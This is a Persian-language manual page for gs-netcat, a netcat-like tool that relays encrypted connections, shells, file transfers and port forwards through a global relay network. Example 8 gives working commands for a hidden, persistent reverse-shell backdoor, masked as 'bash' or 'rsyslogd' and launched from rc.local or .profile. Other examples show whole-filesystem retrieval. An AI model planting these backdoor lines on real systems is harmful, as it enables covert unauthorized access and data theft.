GS-NETCAT(1) General Commands Manual GS-NETCAT(1)

gs-netcat — انتقال داده، هدایت ترافیک و اجرای دستورات روی میزبان راه دور به‌صورت امن

gs-netcat [-rlgvqwCTSDiu] [-s secret] [-k keyfile] [-L logfile] [-d IP] [-p port] [-e cmd]

ابزار gs-netcat یک پیاده‌سازی مجدد از netcat است. این ابزار به دو یا چند کاربر اجازه می‌دهد تا در سناریویی که تمامی کاربران پشت NAT یا فایروال قرار دارند و نمی‌توانند به‌صورت مستقیم به یکدیگر متصل شوند، یک اتصال امن TCP برقرار کنند؛ به‌ویژه در سناریوی برقراری اتصال میان یک ایستگاه کاری و ایستگاه کاری دیگر در یک شبکه محلی (LAN) متفاوت.

این ابزار به جای اتصالات مستقیم TCP، از شبکه رله سوکت سراسری (GSRN) استفاده می‌کند. هیچ‌کدام از ایستگاه‌های کاری نیازی به باز کردن پورت در فایروال خود یا پذیرش اتصالات TCP ورودی ندارند.

اتصال با استفاده از پروتکل SRP (مطابق با RFC 5054) همراه با الگوریتم AES-256 و عدد اول ۴۰۹۶ بیتی به‌صورت سرتاسری (End-to-End) رمزگذاری می‌شود. شبکه GSRN تنها ترافیک رمزگذاری‌شده را مشاهده می‌کند.

کاربردهای متداول شامل موارد زیر است:

  • پروکسی‌های ساده TCP
  • پوسته PTY
  • انتقال فایل
  • دستور ProxyCommand سوکس (SOCKS) برای ssh(1)
  • و کاربردهای بسیار دیگر.

غیرفعال کردن رمزگذاری و استفاده از متن ساده (clear-text). با احتیاط استفاده شود.
ip
آدرس IPv4 مقصد برای هدایت پورت (port forwarding).
حالت دیمن و ناظر (Daemon & Watchdog). اجرای gs-netcat به عنوان یک پردازه پس‌زمینه و راه‌اندازی مجدد در صورت متوقف شدن.
cmd
اجرای دستور و ارسال خروجی به کلاینت متصل‌شده. نیازمند گزینه l- است.
تولید یک گذرواژه تصادفی امن و چاپ آن در خروجی استاندارد.
پوسته تعاملی ورود به سیستم (Interactive login shell). سرور یک شل ورودی PTY واقعی ایجاد می‌کند و کلاینت به عنوان یک کلاینت PTY واقعی عمل می‌کند (با پشتیبانی از Ctrl-C و غیره). کلاینت می‌تواند نشست را در هر زمان با فشردن 'Ctrl-e q' یا وارد کردن 'exit' خاتمه دهد. سرور از چندین کلاینت همزمان پشتیبانی می‌کند.
file
فایل حاوی گذرواژه.
حالت شنود/سرور. حالت پیش‌فرض، کلاینت است.
file
فایل ثبت گزارش (لاگ) [پیش‌فرض: خروجی استاندارد].
port
پورت مورد نظر برای شنود یا هدایت ترافیک به آن [۱-۶۵۵۳۵].
حالت بی‌صدا (Quiet). هیچ هشدار یا خطایی را چاپ نمی‌کند.
فقط دریافت داده (Receive-only). داده‌ای ارسال نمی‌شود. هنگامی که داده دیگری برای خواندن در دسترس نباشد، پردازه متوقف می‌شود.
secret
یک گذرواژه برگزیده توسط کاربر. هر دو کاربر برای اتصال باید از گذرواژه یکسانی استفاده کنند.
عملکرد به عنوان سرور SOCKS4/4a/5. سرور به عنوان پروکسی SOCKS4/4a/5 عمل می‌کند و به چندین کلاینت gs-netcat اجازه می‌دهد تا ترافیک را (به‌صورت امن) از طریق سرور رله کنند. نیازمند گزینه l- است.
استفاده از شبکه تور (TOR). ابزار gs-netcat از طریق شبکه TOR به GSRN متصل خواهد شد. این گزینه نیازمند نصب و فعال بودن TOR است. آدرس IP و پورت سرور TOR با متغیرهای محیطی قابل تنظیم است.
تنها اتصال به GSRN و بررسی وضعیت شنود طرف مقابل. به طرف مقابل متصل نمی‌شود.
استفاده از UDP به جای TCP برای هدایت پورت. نیازمند گزینه p- است.
چاپ پیام‌های وضعیت. از vv- برای جزئیات بیشتر و vvv- برای جزئیات بسیار کامل استفاده کنید.
انتظار کلاینت برای در دسترس قرار گرفتن سرور در حال شنود.

پوسته تعاملی ورود (گزینه -i ) دارای یک کنسول دستورات است. فشردن 'Ctrl-e c' کنسول دستورات را باز می‌کند. کنسول دستورات اطلاعات زیر را نمایش می‌دهد:

  • زمان تأخیر (به میلی‌ثانیه) تا میزبان راه دور
  • هشدار هنگام ورود یا فعال شدن یک کاربر در سیستم
  • نرخ انتقال داده (throughput)
  • گزارش‌های انتقال فایل
برای مشاهده فهرست دستورات در دسترس، عبارت 'help' را تایپ کنید.

انتقال فایل از طریق کنسول دستورات در دسترس است. فایل‌ها با حفظ دسترسی‌ها و برچسب زمانی تغییر، منتقل می‌شوند. فایل‌هایی که انتقال آنها ناتمام مانده است، از همان نقطه توقف از سر گرفته می‌شوند. دستور 'put' برای بارگذاری (آپلود) استفاده می‌شود:

put foobar.txt
put $HOME/foobar.txt
put /tmp/*.log
put $(find. -type f -name '*.c')
(مثال بالا جایگزینی متغیرهای شل و بسط کلمات را نشان می‌دهد) امکان محدود کردن اطلاعات مسیر ارسالی به عنوان دایرکتوری‌های ضمنی برای هر مسیر مشخص‌شده وجود دارد. می‌توانید یک نقطه و اسلش در مسیر مبدا درج کنید، مانند:
put /foo/./bar/baz.c
این کار فایل ‎/tmp/bar/baz.c‎ را روی رایانه راه دور ایجاد خواهد کرد. دستور 'get' برای بارگیری (دانلود) استفاده می‌شود:
get foobar.txt
get $(find /var/./ -name '*.log')
انتقال یک دایرکتوری به‌طور خودکار تمام فایل‌ها و زیردایرکتوری‌های درون آن را منتقل می‌کند (به‌صورت بازگشتی):
get /var/log
get /
دستور اول تمام فایل‌ها و دایرکتوری‌های موجود در ‎/var/log/*‎ را انتقال می‌دهد. دستور دوم کل سیستم فایل را منتقل می‌کند. می‌توان چندین دستور get/put را به‌صورت همزمان زمان‌بندی و اجرا کرد.

مثال ۱ - شنود برای دریافت اتصال جدید با استفاده از گذرواژه 'MySecret':

$ gs-netcat -s MySecret -l

اتصال کلاینت با استفاده از همان گذرواژه:

$ gs-netcat -s MySecret

مثال ۲ - ایجاد یک شل لاگین PTY هنگام اتصال کلاینت:

$ gs-netcat -s MySecret -l -i

ورود به شل تعاملی سرور:

$ gs-netcat -s MySecret -i

ورود از طریق شبکه TOR:

$ gs-netcat -s MySecret -i -T

ورود از طریق یک پروکسی Socks5:

$ export GSOCKET_SOCKS_IP=127.0.0.1
$ export GSOCKET_SOCKS_PORT=1080
$ gs-netcat -s MySecret -i -T

مثال ۳ - اجرای یک دستور هنگام اتصال کلاینت:

$ gs-netcat -s MySecret -l -e 'echo hello world; id; exit'

اتصال کلاینت به سرور:

$ gs-netcat -s MySecret

مثال ۴ - انتقال داده با پایپ (Pipe) از کلاینت به سرور:

$ gs-netcat -s MySecret -l -r >warez.tar.gz

خواندن فایل 'warez.tar.gz' توسط کلاینت و پایپ آن به سرور:

$ gs-netcat -s MySecret <warez.tar.gz

مثال ۵ - تنظیم سرور برای عمل به عنوان سرور SOCKS4/4a/5:

$ gs-netcat -s MySecret -l -S

شنود کلاینت روی پورت TCP شماره ۱۰۸۰ و هدایت هر اتصال جدید به سرور SOCKS:

$ gs-netcat -s MySecret -p 1080

مثال ۶ - هدایت پورت TCP برای تمام اتصالات به 192.168.6.7:22. سرور:

$ gs-netcat -s MySecret -l -d 192.168.6.7 -p 22

شنود کلاینت روی پورت TCP شماره ۲۲۲۲ و هدایت اتصالات جدید به سرور. سپس سرور اتصال را به 192.168.6.7:22 فوروارد می‌کند:

$ gs-netcat -s MySecret -p 2222
$ ssh -p 2222 root@127.0.0.1

انجام همین کار با یک دستور منفرد:

$ ssh -o ProxyCommand='gs-netcat -s MySecret' root@ignored

مثال ۷ - ایجاد یک سرور SFTP با استفاده از gs-netcat:

$ gs-netcat -s MySecret -l -e /usr/lib/sftp-server

باینری sftp-server پروتکل sftp را روی stdin/stdout پیاده‌سازی می‌کند. باینری sftp نیز همین پروتکل را روی ورودی/خروجی استاندارد صحبت می‌کند. این ابزار می‌تواند برای اتصال هر دو از طریق GSRN (به‌صورت رمزگذاری‌شده) و دسترسی کلاینت به سرور SFTP سمت سرور به کار رود:

$ export GSOCKET_ARGS='-s MySecret'
$ sftp -D gs-netcat

مثال ۸ - شل معکوس PTY رمزگذاری‌شده و پنهان‌شده با نام 'bash-' در فهرست پردازه‌ها (معروف به در پشتی یا Backdoor):

$ (GSOCKET_ARGS="-s MySecret -liqD" exec -a -bash gs-netcat)

سطر زیر در /etc/rc.local در پشتی را پس از هر بار راه‌اندازی مجدد سیستم آغاز می‌کند:

GSOCKET_ARGS="-s MySecret -liqD" HOME=/root TERM=xterm-256color SHELL="/bin/bash" /bin/bash -c "cd $HOME; exec -a rsyslogd /usr/local/bin/gs-netcat"

سطر زیر در /etc/rc.local یک فوروارد پورت به 127.0.0.1:22 را راه‌اندازی می‌کند:

GSOCKET_ARGS="-k MySecret2 -lqD -d 127.1 -p22" /bin/bash -c "exec -a rsyslogd /usr/local/bin/gs-netcat"

سطر زیر در پروفایل کاربر (‎~/.profile‎) در پشتی را (یک‌بار) هنگام ورود کاربر اجرا می‌کند. همه در یک سطر:

killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s MySecret3 -liqD" SHELL=/bin/bash exec -a -bash /usr/local/bin/gs-netcat)

پرانتزهای '(...)' یک زیرپوسته (sub-shell) ایجاد می‌کنند که سپس (توسط exec) با پردازه gs-netcat جایگزین می‌شود. پردازه در فهرست پردازه‌ها (به عنوان bash-) مخفی می‌شود.

اتصال کلاینت به در پشتی:

$ gs-netcat -s MySecret -i

متغیرهای محیطی زیر را می‌توان برای کنترل رفتار gs-netcat تنظیم کرد:

GSOCKET_SOCKS_IP

تعیین آدرس IP سرور TOR (یا هر سرور SOCKS دیگر). همراه با T- استفاده می‌شود. پیش‌فرض 127.0.0.1 است.

GSOCKET_SOCKS_PORT

شماره پورت سرور TOR (یا هر سرور SOCKS دیگر). همراه با T- استفاده می‌شود. پیش‌فرض 9050 است.

GSOCKET_ARGS

رشته‌ای حاوی پارامترهای اضافی خط فرمان. ابتدا پارامترهای عادی خط فرمان پردازش شده و سپس پارامترهای خط فرمان موجود در GSOCKET_ARGS اعمال می‌شوند.

ارسال گذرواژه به عنوان پارامتر خط فرمان امن نیست. استفاده از گزینه k- یا متغیر GSOCKET_ARGS یا وارد کردن گذرواژه در هنگام اعلان ورودی را مد نظر قرار دهید:

$ gs-netcat -k <file>
$ export GSOCKET_ARGS="-s MySecret"
$ gs-netcat

۱. امنیت به‌صورت سرتاسری (End-to-End) است؛ بدین معنی که رمزگذاری از کاربر به کاربر برقرار است (و نه صرفاً تا سرورهای GSRN). شبکه GSRN تنها داده‌های (رمزگذاری‌شده) را میان کاربران رله می‌کند.

۲. نشست ارتباطی ۲۵۶ بیتی و موقت (ephemeral) است. برای هر نشست به‌طور تصادفی از ابتدا تولید می‌شود (و بر پایه گذرواژه ساخته نمی‌شود). این ابزار از SRP کتابخانه OpenSSL با الگوریتم AES-256 و عدد اول ۴۰۹۶ بیتی استفاده می‌کند.

۳. گذرواژه می‌تواند «ضعیف» باشد بدون اینکه امنیت نشست تضعیف شود. یک حمله جستجوی فراگیر (brute force) به یک گذرواژه ضعیف، برای هر بار حدس زدن نیازمند یک اتصال TCP جدید است.

۴. از گذرواژه‌های ساده و ناامن مانند 'password123' استفاده نکنید. نفوذگر ممکن است تصادفاً همان گذرواژه را انتخاب کرده و متصل شود. در صورت تردید، از دستور gs-netcat -g برای تولید گذرواژه‌ای قوی استفاده کنید. گذرواژه طرفین ارتباط باید حداقل به اندازه‌ای قوی باشد که مهاجم نتواند تصادفاً در مدتی که یکی منتظر اتصال دیگری است، آن را حدس بزند.

۵. اگر شخصی گذرواژه یکسانی را با دو نفر به اشتراک بگذارد و یکی از آنها متصل شود، شخص نمی‌تواند تشخیص دهد چه کسی متصل شده است.

۶. فرض کنید فردی گذرواژه مشترکی با کاربر مجاز و نفوذگر دارد. هنگامی که کاربر مجاز شنود را متوقف کند، نفوذگر می‌تواند به جای او شروع به شنود کند. کلاینت هنگام اتصال نمی‌تواند تشخیص دهد به کاربر مجاز متصل شده یا به نفوذگر. در صورت نگرانی در این رابطه، از گزینه a <token>- استفاده کنید. خلاصه: هنگام اشتراک‌گذاری یک گذرواژه با گروهی بیش از ۲ نفر، فرض بر این است که همه افراد با حسن‌نیت رفتار می‌کنند؛ در غیر این صورت از SSH بر بستر اتصال GS/TLS استفاده کنید.

۷. پروتکل SRP دارای رازداری پیش‌رو کامل (Perfect Forward Secrecy) است؛ بدین معنی که حتی با افشای گذرواژه در آینده، نشست‌های ثبت‌شده گذشته قابل رمزگشایی نخواهند بود.

جدیدترین نسخه از طریق نشانی https://github.com/hackerschoice/gsocket در دسترس است.

gsocket(1), gs-sftp(1), gs-mount(1), blitz(1), nc(1), socat(1)

تلاش‌های زیادی انجام شده است تا gs-netcat در تمامی حالت‌های گوناگون خود «عملکرد صحیح» داشته باشد. چنانچه احساس می‌کنید تحت شرایطی رفتار نادرستی نشان می‌دهد، لطفاً به نشانی (skyper@thc.org) اطلاع داده و نحوه رفتار مورد انتظار را بیان فرمایید.

October 8, 2020 Linux 6.12.107+deb13-amd64